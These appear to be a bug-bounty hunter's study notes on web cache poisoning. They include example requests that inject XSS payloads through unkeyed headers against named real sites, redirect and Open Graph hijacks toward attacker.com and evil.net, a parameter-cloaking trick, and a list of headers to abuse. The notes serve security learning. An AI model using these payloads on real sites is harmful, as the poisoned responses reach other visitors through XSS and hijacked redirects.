# Web Cache Poisoning

## Web Cache Poisoning

## Resources:

[Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning)

[Practical Web Cache Poisoning: Redefining 'Unexploitable'](https://www.youtube.com/watch?v=j2RrmNxJZ5c)

## Cache:

> Caching is intended to speed up page loads by reducing latency, and also reduce load on the application server.

#### Some companies host their own cache using software like:

* Varnish
* Cloudflare(caches scattered across geographical locations.)
* Drupal have a built-in cache.

### How Cache Works:

1. Request is being received by Cache
2. Cache Checks whether it has a copy of this exact resource being requested then it response with it
3. If not ,Cache forwards the request to the application server.

#### Methods used by cache to Identify whether two requests are trying to load the same resource:

* byte-for-byte compare.(ineffective)

📌 Caches tackle this problem using the concept of cache keys

### Typical cache keys:

* URL and it’s Get parameters
* Host header

> Based on those 2 Keys Cache Will handle The next 2 Requests in the same way

```jsx
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
```

```jsx
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
```

📌 As a result, the page will be served in the wrong language to the second visitor.

#### Solution:

> Vary response header is Used to specify additional request headers that should be keyed.But it’s used in a rudimentary way.

## Cache **Poisoning:**

📌 is to send a request that causes a harmful response that gets saved in the cache and served to other users.

#### Methodology :

1. Identify unkeyed inputs(Manually Or Using Param miner or any other fuzzing tool)

   📌 Cached responses can mask unkeyed inputs - The response is the same thus,you can’t notice the unkeyed inputs.Changing it while testing won’t be effective(it’s already cached) Therefore,using a cache-buster would help If you test manually. or you can ensure every request has a unique cache key by adding a parameter with a value of $randomplz to the query string or in your fuzzing tool.
2. Identify how much damage you can do with it.
3. Try and get it stored in the cache

📌 To keep it legal,Cache The request using a get parameter with a fixed value just to affect your requests while testing.

## **Basic Poisoning:**

```jsx
Request Header That Found to be reflected:
/en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>
```

```html
Respose:
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
```

> In most cases this is just a self-xss

> dontpoisoneveryone=1 is our cache-buster in this case.

#### Performing the request to the same endpoint Would case an alert

```jsx
Request:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com

HTTP/1.1 200 OK
…
Response:
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
```

### **Discreet poisoning:**

After Performing the Basic Poisoning on /en?dontpoisoneveryone=1,We would like to perform it on the homepage now\.Which would be normally cached [already](http://already.So),Therefore you need to wait to cache Your malicious request when the last cached request is over.

The response headers 'Age' and 'max-age' respectively specify the age of the current response, and the age at which it will expire.the response expires when the age == max-age.

Sometimes you notice the max-age is missing but at some point the server will reset the age.

Find when by automating requests in different times and observing the response.

```
Age: 174
Cache-Control: public, max-age=180
```

> Or you can just spam your malicious request using burp intruder.

### **Selective Poisoning:**

```jsx
Vary: User-Agent
```

As seen in the response,The User-Agent is being used as a key for cache.

So you might poison it with the most used user agents.

If you are targeting someone(selective) you can just poison the cache with his user agent

anyone with that user agent will be affected.

### DOM Poisoning:

Sometimes it’s not about just an XSS payload,it’s complicated somehow,

an example :

```jsx
The site used to request a json data which is used to translete something into 
another,example:
site.com/api/i18n/es
{"Show more":"Mostrar más"}
<< Those info was reached after testing the function using burp collaborator >>
but it in the X-Forward-Host Header and you get the request.
Note:The header gets reflect in <body data-site-root="Header Value">
So you can just use your own translation file which contains something like:
{"Show more":"<script>alert("Hello There")</script>"}
Therefore any page contains "Show more" would be translated into this xss payload
```

### Route Poisoning:

> Some applications use headers for internal request routing

📌 HubSpot is giving the X-Forwarded-Server header priority over the Host header

Go to HubSpot,Create a web page, paste its URL into the X-Forwarded-Server,

Your response would be your web page and should be cached and served to all users,it’s sound like an subdomain take over.

### Hidden Route Poisoning:

📌 Cloudflare's blog is hosted by Ghost, who are clearly doing something with the X-Forwarded-Host header.

> Example Found on \[1]\[”Hidden Route Poisoning:”]

### **Chaining Unkeyed Inputs:**

We might chain 2 headers

A good combination of

```jsx
X-Forward Headers:
X-Forwarded-Scheme: nothttps
X-Forwarded-Protocol: https
X-Forwarded-Ssl: on
X-Url-Scheme: https
X-Forwarded-Host:attacker.com
```

### **Open Graph Hijacking:**

```jsx
X-Forward-Host:attacker.com
ـــــــــــــــــــــــــــــــــ
<meta property="og:url" content='https://attacker.com/en'/>
```

> [Open Graph](http://ogp.me/) is a protocol created by Facebook to let website owners dictate what happens when their content is shared on social media. The og:url parameter we've hijacked here effectively overrides the URL that gets shared, so anyone who shares the poisoned page actually ends up sharing content of our choice.

📌 the application sets 'Cache-Control: private', and Cloudflare refuse to cache such responses. Fortunately, other pages on the site explicitly enable caching.📌 The 'CF-Cache-Status' header is an indicator that Cloudflare is considering caching this response.📌 Cloudflare have even more regional caches📌 I suspect that quite a few websites start using a service like Cloudflare for DDoS protection or easy SSL, and end up vulnerable to cache poisoning simply because caching is enabled by default.

### **Local Route Poisoning:**

📌 X-Original-URL and X-Rewrite-URL which override the request's path

📌 Which might be used to convert reflected XSS into stored XSS some times.Something Like that:(\*\*Internal Cache Poisoning)\*\*

<div align="left"><img src="/files/elc9k4k4Eu3JB0Y40gFL" alt=""> <img src="/files/I0StAySgTSOOTCiVtcFq" alt=""></div>

### Open Redirect + Cache Poisoning:

```jsx
GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1
Host: business.pinterest.com
X-Original-URL: /foo.js?v=1
```

#### Leads to :

```jsx
GET /foo.js?v=1 HTTP/1.1

HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
```

### **Nested cache poisoning:**

📌 If the site uses an external cache.we can use the internal cache to poison the external cache

### **Web Cache Poisoning via Fat GET Request:**

This web application is using a caching system. By sending a GET request with a request body (a "fat" GET request) it was possible to force the caching system to cache a response that contains user-controlled input.

## Notes:

***

### You can identify the cache keys using :

```jsx
Pragma: x-get-cache-key
also some custom headers based on the CDN - Akamai implements it's own headers
```

***

#### Always poison the javascript entries trying to get a redirect to your exploit.

***

#### Some UTM analytics parameters are unkeyed like :

```jsx
utm_source
utm_content
...

if you use a semicolon (;) to append another parameter to utm_content,
the cache treats this as a single parameter.
This means that the extra parameter is also excluded from the cache key.
aka Parameter cloaking
```

***

## Example OF The Last 2 Notes:

```jsx
GET /js/geolocate.js?callback=setCountryCookie&utm_content=;callback=alert(1)
%3bsetCountryCookie
```

```jsx
alert(1);setCountryCookie({"country":"United Kingdom"});
```

***

#### XSS + Cache Poisoning:

![](/files/W8y20u6j0hxAgmh31yKi)

### Some Useful headers: or Just Use Param Miner.

```jsx
X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
-----------------------
X-Original-URL 
X-Rewrite-URL 
```

***

![](/files/sjAr6MCz6CimuF5S5dlL)

* Activate “Add fcbz cachebuster”.while testing your payloads that you want it to be cached
* Activate “Add Dynamic cachebuster” while guessing the used inputs.

***

***

* Ibrahim Radi

[Ibrahim Radi - Bug Bounty Hunter - HackerOne | LinkedIn](https://www.linkedin.com/in/ibraradi9/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ibraradi.gitbook.io/write-up/web-cache-poisoning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
